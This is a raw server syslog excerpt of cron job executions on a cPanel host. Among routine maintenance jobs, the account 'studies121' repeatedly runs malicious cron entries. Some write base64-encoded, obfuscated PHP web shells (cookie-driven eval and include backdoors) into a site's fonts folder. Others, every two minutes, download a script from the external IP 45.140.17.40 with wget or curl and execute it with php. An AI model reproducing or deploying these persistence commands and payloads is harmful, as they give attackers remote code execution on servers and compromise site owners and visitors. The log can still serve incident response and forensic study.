Sep 21 01:50:02 ip-184-168-122-23 CROND[9696]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:50:02 ip-184-168-122-23 CROND[9707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:51:01 ip-184-168-122-23 CROND[9986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:51:01 ip-184-168-122-23 CROND[9988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:51:01 ip-184-168-122-23 CROND[9989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:51:01 ip-184-168-122-23 CROND[9990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:52:01 ip-184-168-122-23 CROND[10168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:52:01 ip-184-168-122-23 CROND[10169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:52:01 ip-184-168-122-23 CROND[10172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:52:01 ip-184-168-122-23 CROND[10175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:52:01 ip-184-168-122-23 CROND[10174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:53:01 ip-184-168-122-23 CROND[10311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:53:01 ip-184-168-122-23 CROND[10314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:53:01 ip-184-168-122-23 CROND[10315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:53:01 ip-184-168-122-23 CROND[10313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:54:01 ip-184-168-122-23 CROND[10545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:54:01 ip-184-168-122-23 CROND[10550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:54:01 ip-184-168-122-23 CROND[10548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:54:01 ip-184-168-122-23 CROND[10549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:54:01 ip-184-168-122-23 CROND[10547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:55:01 ip-184-168-122-23 CROND[10697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:55:01 ip-184-168-122-23 CROND[10700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:55:01 ip-184-168-122-23 CROND[10698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:55:01 ip-184-168-122-23 CROND[10699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:55:01 ip-184-168-122-23 CROND[10703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:55:01 ip-184-168-122-23 CROND[10702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:56:01 ip-184-168-122-23 CROND[11008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:56:01 ip-184-168-122-23 CROND[11010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:56:01 ip-184-168-122-23 CROND[11012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:56:01 ip-184-168-122-23 CROND[11011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:56:01 ip-184-168-122-23 CROND[11013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:57:01 ip-184-168-122-23 CROND[11098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:57:01 ip-184-168-122-23 CROND[11101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:57:01 ip-184-168-122-23 CROND[11100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:57:01 ip-184-168-122-23 CROND[11102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:58:01 ip-184-168-122-23 CROND[11185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:58:01 ip-184-168-122-23 CROND[11186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:58:01 ip-184-168-122-23 CROND[11189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:58:01 ip-184-168-122-23 CROND[11191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:58:01 ip-184-168-122-23 CROND[11192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:59:01 ip-184-168-122-23 CROND[11275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:59:01 ip-184-168-122-23 CROND[11278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:59:01 ip-184-168-122-23 CROND[11279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:59:01 ip-184-168-122-23 CROND[11276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:00:01 ip-184-168-122-23 CROND[11552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:00:01 ip-184-168-122-23 CROND[11559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:00:01 ip-184-168-122-23 CROND[11557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:00:01 ip-184-168-122-23 CROND[11554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:00:01 ip-184-168-122-23 CROND[11563]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 02:00:01 ip-184-168-122-23 CROND[11561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:00:01 ip-184-168-122-23 CROND[11560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:00:01 ip-184-168-122-23 CROND[11555]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 02:00:01 ip-184-168-122-23 CROND[11558]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 21 02:00:01 ip-184-168-122-23 CROND[11564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:01:01 ip-184-168-122-23 CROND[11680]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 02:01:01 ip-184-168-122-23 CROND[11681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:01:01 ip-184-168-122-23 CROND[11682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:01:01 ip-184-168-122-23 CROND[11683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:01:01 ip-184-168-122-23 CROND[11684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:01:01 ip-184-168-122-23 CROND[11685]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11680]: starting 0anacron
Sep 21 02:01:01 ip-184-168-122-23 anacron[11702]: Anacron started on 2026-09-21
Sep 21 02:01:01 ip-184-168-122-23 anacron[11702]: Normal exit (0 jobs run)
Sep 21 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11704]: finished 0anacron
Sep 21 02:02:01 ip-184-168-122-23 CROND[11803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:02:01 ip-184-168-122-23 CROND[11805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:02:01 ip-184-168-122-23 CROND[11806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:02:01 ip-184-168-122-23 CROND[11807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:02:01 ip-184-168-122-23 CROND[11808]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
